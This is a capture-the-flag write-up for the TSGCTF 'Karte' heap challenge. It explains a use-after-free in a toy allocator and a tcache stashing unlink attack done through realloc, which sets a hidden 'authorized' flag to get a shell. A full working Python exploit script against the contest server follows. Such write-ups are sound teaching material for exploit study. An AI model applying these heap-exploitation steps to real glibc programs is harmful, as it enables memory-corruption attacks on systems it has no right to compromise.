This was another minimalistic heap puzzle like those tasks usually called babyheap. You could perform allocations of different sizes. You could extend these allocations, free them or print them. The allocation however only stored its size and the ID.
struct allocation {
size_t size;
uint64_t id;
};
The rest of the memory was left uninitialized. On allocation you could choose a size
less than 0x100
and the ID. This ID was then used to work with the chunk, like extending the allocation. Showing the allocation also only printed these two values. The binary also contained a hidden 5th option: This option would open a shell if the variable authorized
was true
. This variable however was statically false
and not written during legitimate execution of the program.
The allocations were stored in a pointer list in bss
. The allocation was assumed valid if such pointer differed from NULL
. The bug was that dealloc
not resetting the pointer to NULL
, thus allowing for a use-after-free or double-free vulnerabilities.
The authorized
variable in bss
looks like a target waiting to be exploited, so I explored my possibilities. The tcache stashing unlink attack looked like a promising candidate, but there is one big issue: This technique relies on calloc
to trigger the exploit. Karte however uses realloc
for everything, even freeing. The underlying heap mechanic exploited by this technique is that on allocation, the tcaches
are filled from the sorted bins of the right size. One oddity about calloc
is that it ignores chunks in tcaches
to serve the allocation. On the other hand realloc
does first serve chunks out of the tcaches
. I explored realloc
’s behaviour using a newly developed tool1. This tool lets you view and edit the heap in a hex editor, fork the process, and switch between these forks. After some time I came to the realization that I could trigger the stashing unlink behaviour with realloc
as well by allocating something when the tcaches
are empty. As this exploit leaves the sized bins in an invalid state, I had to make sure 7 allocations can be unlinked, not just two.
There is one more glaring problem with this: While the libc address takes the place of the ID, and thereby is changeable, I need to know it in order to change it. I can reduce the problem to leaking a heap address, as I can print that very same address as size
field from the other end of the sorted bin doubly linked list. So, how to leak a heap address? Well, tcaches
are unusable for this as they store a pointer to the management in place of the ID. So I have to fall back to regular fast bins, as they use a singly-linked list with no additional nonsense.
for i in range(1,10):
alloc(s, 0x68, i)
for i in range(3,10):
extend(s, i, 0x88)
for i in range(1, 3):
free(s, i)
heap = show(s, 2) - 0x290
print(f"[+] heap: {heap:#x}")
As the number of allocations is limited I extend the chunk instead of just freeing it. This also frees the chunk, but additionally allocates a new one of the requested size and I don’t lose the allocation. I allocate 7 more chunks to fill the tcaches
and free all 14 chunks in an interleaved pattern.
for i in range(10, 17):
alloc(s, 0x88, i)
for i in range(4, 17, 2):
free(s, i)
for i in range(3, 17, 2):
free(s, i)
Then I drain the tcaches
again:
for i in range(18, 25):
alloc(s, 0x88, i)
To move the chunks form the unsorted bin into the sized bin, I allocate a larger chunk, and also use the heap leak to leak the libc.
alloc(s, 0x90, 26)
libc = show(s, heap + 0x7a0)
print(f"[+] libc: {libc:#x}")
Last, I set some ID to point 0x10
bytes in front of authorized
and trigger the stashing unlink with a final allocation.
alloc(s, 0x68, authorized - 0x10)
change_id(s, libc, heap + 0x610)
alloc(s, 0x88, 1337)
All that is left to do is to use option 5, enjoy your shell and cat the flag: TSGCTF{Realloc_is_all_you_need~}
1 Full disclosure: I did not write the tool myself, but I supervised its creation.
Complete exploit for good measure:
# https://github.com/leetonidas/pwn/
from pwnutils import *
from telnetlib import Telnet
# flag: TSGCTF{Realloc_is_all_you_need~}
authorized = 0x404180
def alloc(sock, size, cid):
sock.send(f"0\n{cid}\n{size}\n".encode())
def show(sock, cid):
sock.send(f"3\n{cid}\n".encode())
recv_until(sock, b"size: ")
return int(recv_until(sock, b"\n")[:-1].decode(), 16)
def free(sock, cid):
sock.send(f"4\n{cid}\n".encode())
def change_id(sock, cid, ncid):
sock.send(f"2\n{cid}\n{ncid}\n".encode())
def extend(sock, cid, size):
sock.send(f"1\n{cid}\n{size}\n".encode())
tar = ("35.221.81.216", 30005)
with socket.socket() as s:
s.connect(tar)
recv_until(s, b"> ")
s.send(b"iead\n")
# 9 to leak heap
for i in range(1,10):
alloc(s, 0x68, i)
for i in range(3,10):
extend(s, i, 0x88)
for i in range(1, 3):
free(s, i)
heap = show(s, 2) - 0x290
print(f"[+] heap: {heap:#x}")
# 14 to prepare ov
for i in range(10, 17):
alloc(s, 0x88, i)
for i in range(4, 17, 2):
free(s, i)
for i in range(3, 17, 2):
free(s, i)
# 7 to empty tcache
for i in range(18, 25):
alloc(s, 0x88, i)
alloc(s, 0x90, 26)
libc = show(s, heap + 0x7a0)
print(f"[+] libc: {libc:#x}")
alloc(s, 0x68, authorized - 0x10)
change_id(s, libc, heap + 0x610)
alloc(s, 0x88, 1337)
t = Telnet()
t.sock = s
t.interact()